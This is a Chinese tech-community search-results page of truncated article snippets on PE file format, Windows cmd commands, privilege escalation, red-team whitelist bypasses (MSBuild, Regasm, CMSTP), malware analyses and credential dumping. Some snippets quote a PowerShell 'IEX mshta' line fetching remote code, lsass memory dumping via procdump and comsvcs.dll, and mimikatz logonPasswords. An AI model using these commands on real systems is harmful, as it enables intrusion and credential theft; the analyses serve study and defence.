首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PE文件格式详解,第二讲,NT头文件格式,以及文件头格式

首先看下我们标准PE格式二进制.(使用Winhex,或者010 Editor都可以) ? 可以看出,生成时候默认会为我们生成.const常量区,那么我们可以让它和代码区合并?...//机器型号,作用是区别这个exe是哪个CPU可以.重要....在这里需要注意是   可选头大小,文件属性,以及机器型号.  其余自己看看. 1.机器型号: 机器型号,PE定义,VC++6.0已经给出了....这个地方是计算偏移得出,根据结构体类型大小,可以自己计算偏移得出....可以看出,可选头大小是0x00E0 大小,换算成10进制就可以知道,E0是224字节大小,所以根据这个,可以计算出可选头大小 3.文件属性  文件属性紧跟在E0 00 后面,它是0F 01 文件属性是按照位来

72360
您找到你想要的搜索结果了吗?
是的
没有找到

Windows常用命令一览表

系 统下运行DOS,中文版Windows XP 命令提示符进一步提高了与DOS 下操作命令兼容性,用户可以命令提示符直接输入中文调用文件。...开始->运行->键入cmdcommand(命令行里可以看到系统版本、文件系统版本) help #命令帮助 cls #清屏 补充说明: manager:n.处理者,经理,管理人; 干事,理事; management...dfrg.msc——-磁盘碎片整理程序 chkdsk.exe—–Chkdsk磁盘检查 devmgmt.msc—设备管理器 regsvr32/u*.dll—-停止dll文件运行 rononce-p—-15...F4显示“电脑”和“Windows资源管理器”“地址”栏列表。 Shift+F10显示所选项快捷菜单。 Alt+空格键显示当前窗口“系统”菜单。...左箭头键打开左边下一菜单或者关闭子菜单。 F5刷新当前窗口。 BackSpace电脑”“Windows资源管理器”查看上一层文件夹。 Esc取消当前任务。

1K10

Windows常用命令一览表

,所以一般Windows 各种版本都与其兼容,用户可以Windows 系 统下运行DOS,中文版Windows XP 命令提示符进一步提高了与DOS 下操作命令兼容性,用户可以命令提示符直接输入中文调用文件...calc———–启动计算器 dfrg.msc——-磁盘碎片整理程序 chkdsk.exe—–Chkdsk磁盘检查 devmgmt.msc—设备管理器 regsvr32/u*.dll—-停止dll文件运行...Ctrl+F4允许同时打开多个文档程序关闭当前文档。 Alt+Tab在打开项目之间切换。 Alt+Esc以项目打开顺序循环切换。 F6在窗口桌面上循环切换屏幕元素。...F4显示“电脑”和“Windows资源管理器”“地址”栏列表。 Shift+F10显示所选项快捷菜单。 Alt+空格键显示当前窗口“系统”菜单。...左箭头键打开左边下一菜单或者关闭子菜单。 F5刷新当前窗口。 BackSpace电脑”“Windows资源管理器”查看上一层文件夹。 Esc取消当前任务。

2.5K32

Windows、Linux系统常用CMD命令大全

AT 计划在计算机上运行命令和程序。 ATTRIB 显示更改文件属性。 BREAK 设置清除扩展式 CTRL+C 检查。 CACLS 显示修改文件访问控制列表(ACLs)。...FC 比较两个两套文件,并显示不同处。 FIND 文件搜索文字字符串。 FINDSTR 文件搜索字符串。 FOR 为一套文件每个文件运行一个指定命令。...FTYPE 显示修改用于文件扩展名关联文件类型。 GOTO 将 Windows 命令解释程序指向批处理程序某个标明行。...-------磁盘碎片整理程序 chkdsk.exe-----Chkdsk磁盘检查 devmgmt.msc--- 设备管理器 regsvr32 /u *.dll----停止dll文件运行 drwtsn32.../u *.dll----停止dll文件运行 regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符 chkdsk.exe--

2.1K30

Windows 权限提升

,但当时解决了这两个问题: 它可以由普通用户通过RPC触发,甚至可以选择要加载DLL名称,只要他System32文件夹,它将有服务加载。...] - 从SYSVOL获取密码 域渗透——利用SYSVOL还原组策略中保存密码 先说下如何复现,域控组策略管理gpmc.msc(这里用默认策略)设置一条添加用户和组策略: ?...最初UACWindows Vista上出现时候只有两个设置: 始终通知:安装软件和更改计算机更改了Windows设置通知(启用UAC) 从不通知:安装软件和更改计算机更改了Windows...,你可以会奇怪这不是很正常?...,希望各位了解管理员用户是入俄启用UAC之后如何获取High完整性(包含在access tokens)。

3.5K20

渗透测试与开发技巧

通过c#编写dll & 通过rundll32.exe或者regsvr32加载dll 默认情况下,c#不可以声明导出函数,但可通过添加UnmanagedExports实现 当然,通过c#编写dlldll...域渗透时要记得留意域内主机本地管理员账号 如果管理员疏忽,域内主机使用相同本地管理员账号,可以通过pass-the-hash远程登录域内其他主机 参考: 《域渗透——Local Administrator...快捷方式参数隐藏技巧 将payload放置260个空字符之后,这样无法文件属性查看payload,可以用来快捷方式隐藏payload,欺骗用户点击,隐蔽执行代码 参考: 《渗透技巧——快捷方式文件参数隐藏技巧...参考: 《利用BDF向DLL文件植入后门》 方法18:特殊注册表键值 注册表启动项创建特殊名称注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API...,文件属性多了"快捷方式" 使用/J不需要管理员权限 使用/D需要管理员权限 应用: 更改释放文件路径 ---- Tips 51 powershell执行脚本时传入参数 powershell -executionpolicy

4.2K20

cmd命令【实施工程师技能】

path 查看一下是否配置成功  以上是网络连通性以及环境变量常用到操作,下面是将【cmd】命令做了个汇总,有需要可以【Ctrl+F】进行搜索即可。...:显示内存使用情况(如果直接运行无效,可以管理员身份运行命令提示符,命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的就是内存使用情况了。...attrib [参数][源文件目录] 文件属性操作命令,attrib命令可以列出修改磁盘上文件属性,文件属性包括文档(A)、只读(R)、隐藏(H)、系统(S),例如:attrib -h -r -s...存放对应位置值,用以清除AWARD BIOS密码.debug 还可以破解硬盘保护卡等,但只可以纯DOS下用。...if 批处理程序执行条件处理(更多说明见if命令及变量)   goto 标签 将cmd.exe导向到批处理程序带标签行(标签必须单独一行,且以冒号打头,例如:“:start”标签)   call

70520

Quantum 构建工具使用新 TTP 投递 Agent Tesla

Zscaler 研究人员发现暗网上正在出售名为 Quantum Builder 构建工具,该工具可以投递 .NET 远控木马 Agent Tesla。...执行后 LNK 文件会运行混淆PowerShell代码,经过base64解编码与异解密得到执行命令 IEX mshta https[:]//filebin.net/njqyvfot61w0tu9a/...,如下所示: 【恶意 INF 文件作为参数执行 CMSTP】 cmstp.exe 安装 INF 文件时,RunPreSetupCommandsSection 参数命令将以管理权限执行。...【触发 UAC 绕过】 当以恶意 INF 作为参数生成 cmstp.exe 时,就会以管理权限执行恶意软件,如下所示: 【UAC 绕过并以管理权限执行】 Agent Tesla C&C 服务器被配置为...如果 Payload 扩展名为 .dll,则它使用 rundll32.exeDLL 加载到虚拟内存

1.5K20

c语言基础学习02_windows系统下cmd命令

:显示内存使用情况(如果直接运行无效,可以管理员身份运行命令提示符,命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的就是内存使用情况了。...attrib [参数][源文件目录] 文件属性操作命令,attrib命令可以列出修改磁盘上文件属性,文件属性包括文档(A)、只读(R)、隐藏(H)、系统(S),例如:attrib -h -r -s...存放对应位置值,用以清除AWARD BIOS密码.debug 还可以破解硬盘保护卡等,但只可以纯DOS下用。...if 批处理程序执行条件处理(更多说明见if命令及变量)   goto 标签 将cmd.exe导向到批处理程序带标签行(标签必须单独一行,且以冒号打头,例如:“:start”标签)   call...for 对一组文件每一个文件执行某个特定命令(更多说明见for命令及变量)   echo onoff 打开关闭echo,仅用echo不加参数则显示当前echo设置   echo 信息 屏幕上显示出信息

1.3K21

详解Windows Shim攻防利用

Shim本意是垫圈垫片。理论上说,任何计算机问题都可以新增一层逻辑来解决。Shim也是这么一个垫在应用程序和windowsAPI之间逻辑层。...比如下图,当我运行test.exe时候,用processmonitor可以看见系统读取了sysmain.sdb这个文件。 ? Shim 数据库包含了大约5000多条记录。...该缓存放在内存,所以我们可以用Volatilityshimcachemem插件来取出信息。 如下图所示。 ? 安全分析人员病毒取证时候往往需要知道最近在该系统上执行过哪些程序。...在这个时候我们可以查看注册表里Shim缓存影像。Win7关闭重启时候会把Shim缓存序列化到注册表以下位置。...我们可以用ShimCacheParser.py 来读取该信息。值得注意是由于windows只有关闭重启时候才会序列化Shim缓存,所以此处是上一次windows运行时Shim缓存。 ?

2.4K70

cmd命令详解

:显示内存使用情况(如果直接运行无效,可以管理员身份运行命令提示符,命令提示符里输入mem.exe>d:a.txt 即可打开d盘查看a.txt,里面的就是内存使用情况了。...attrib [参数][源文件目录] 文件属性操作命令,attrib命令可以列出修改磁盘上文件属性,文件属性包括文档(A)、只读(R)、隐藏(H)、系统(S),例如:attrib -h -r -s...存放对应位置值,用以清除AWARD BIOS密码.debug 还可以破解硬盘保护卡等,但只可以纯DOS下用。...if 批处理程序执行条件处理(更多说明见if命令及变量)   goto 标签 将cmd.exe导向到批处理程序带标签行(标签必须单独一行,且以冒号打头,例如:“:start”标签)   call...cacls 文件名 查看文件访问用户权限列表   REM 文本内容 批处理文件添加注解   netsh 查看更改本地网络配置情况

2.1K20

一个自称 lpk.dll 病毒分析

该样本将自己命名为 lpk.dll,与系统 lpk.dll 同名,程序需要使用 lpk.dll 时,便会遭到该样本劫持。...接下来恶意代码会查找可以感染逻辑磁盘,并创建线程进行感染,判断是否为目录,若是,则遍历目录进行感染;判断是否是 exe 文件,若是,则复制自身到当前目录下;判断是否为压缩文件,若是,则将自身添加到压缩文件...服务函数会创建 hra%u.dll 将 lpk.dll 写入此文件,会访问 http://204.72.210.221/admin.html 并读取网页 源代码,提取网页源代码域名,并进行连接,接收指令并执行...5、若当前加载文件不是 lpk.dll,则扫描电脑上所有可以感染逻辑磁盘,若可以感染,则创建线程进行感染。 ? 6、搜索磁盘文件,判断是否为特殊文件或是目录。...7、若磁盘文件不是目录,则获取文件扩展名,判断是否有 exe 文件,若有,则将 lpk.dll 复制过去,并设置文件属性为隐藏。 ?

2.9K20

红队技巧-白加黑

适用条件:.NET Framework>=4.0 第一步找到Msbuild.exe 默认情况下Msbuild.exe是没有系统环境变量,所以需要我们先找到,默认情况下Msbuild.exe....这里要下载nps_payload工具可以生成xmlhta文件,msbuild都可以执行,且自带免杀挺有效。...2.3 白名单Regasm.exe Regasm 为程序集注册工具,读取程序集中元数据,并将所需项添加到注册表,从而使COM客户端可以透明地创建.NET Framework类。...: 加载并注册程序集 生成、注册类型库并将其安装到指定 COM+ 1.0 应用程序 配置以编程方式添加到类服务 和前面一样.net目录下 生成dll python3 GreatSCT.py -...Cmstp安装删除“连接管理器”服务配置文件。

2.2K20

OCX制作CAB,数字签名制作

,signcode.exe 下面具体说如何使用他们来帮助我们制作需要cab包。...将ocx文件以及第三方dll文件打包成cab文件: Internet 软件分发单位是“软件包”,它由包含.INF文件软件分发.OSD文件(两者都包括).CAB文件所组成。...一个分发单位也可以包含软件组件, 如 ActiveX 控件(.OCX)、.DLL文件、.EXE文件、Java类文件小程序。...对CAB文件进行数字签名 传说中数字签名之后就可以不出现提示而自动下载,所以也试试: \Microsoft Visual Studio .NET 2003\SDK\v1.1\Bin 中间有三个小工具...文件属性->数字证书->详细信息-〉查看证书-〉安装证书,进入安装证书向导,存放区域选择“受信任根证书颁发机构”,点击完成即可。 思想就是如上所示,具体不懂可以从网上查相关资料。

1.3K20

.NET牛人应该知道些什么,回答

相信一个真正优秀ASP.NET(及WinForm)开发人员应该不仅仅会拖放控件到设计器,也应该掌握更多东西。一个优秀赛车比赛选手很了解他自己坐驾,他知道哪些可以做?哪些不能做?...(EXE可以执行程序,DLL是动态链接库,是用于被EXE其他DLL调用,用于提供程序接口) 什么是强类型,什么是弱类型?哪种更好些?为什么?...(全局程序集缓存,整个操作系统缓存一些程序集,其他引用该程序集程序就不需要将这些程序集拷贝到EXE运行目录了。)...调试它应该放在哪里? (调试文件,PDB文件和对应EXEDLL文件同一个文件夹) 什么叫圈复杂度(cyclomatic complexity)?为什么它很重要?...[ThreadStatic]属性ASP.NET中有用?它有没有副作用?是好是坏?

36810

红队技巧-导出凭据和密码

前言 红队各种抓取密码凭据方法,文末彩蛋,内附工具链接,以及制作过360minikatz版本,各位请享用,最近筹备重新开blog,记录学习计划,不然知识学完立马就忘了,与大家一起学习!...::Minidump lsassdump.dmp sekurlsa::logonPasswords 如果对lsass.exe敏感的话,那么还可以配合lsass.exepid来使用更香: procdump...前提:需要管理员及以上权限,版本限制(仅支持Windows XP,2003,Vista,7、2008和Windows 8) 命令: wce.exe -o file.txt wec.exe 3.comsvcs.dll...前提:powershell运行,管理员权限以上 命令: C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump...不知道是不是刚更新没有关网络,把64位搞死了,但是32位依然坚挺!然后接着保险起见,加壳 工具包里面有编译好一些工具,懂得都懂嗷,不会百度。 ?

2.2K10
领券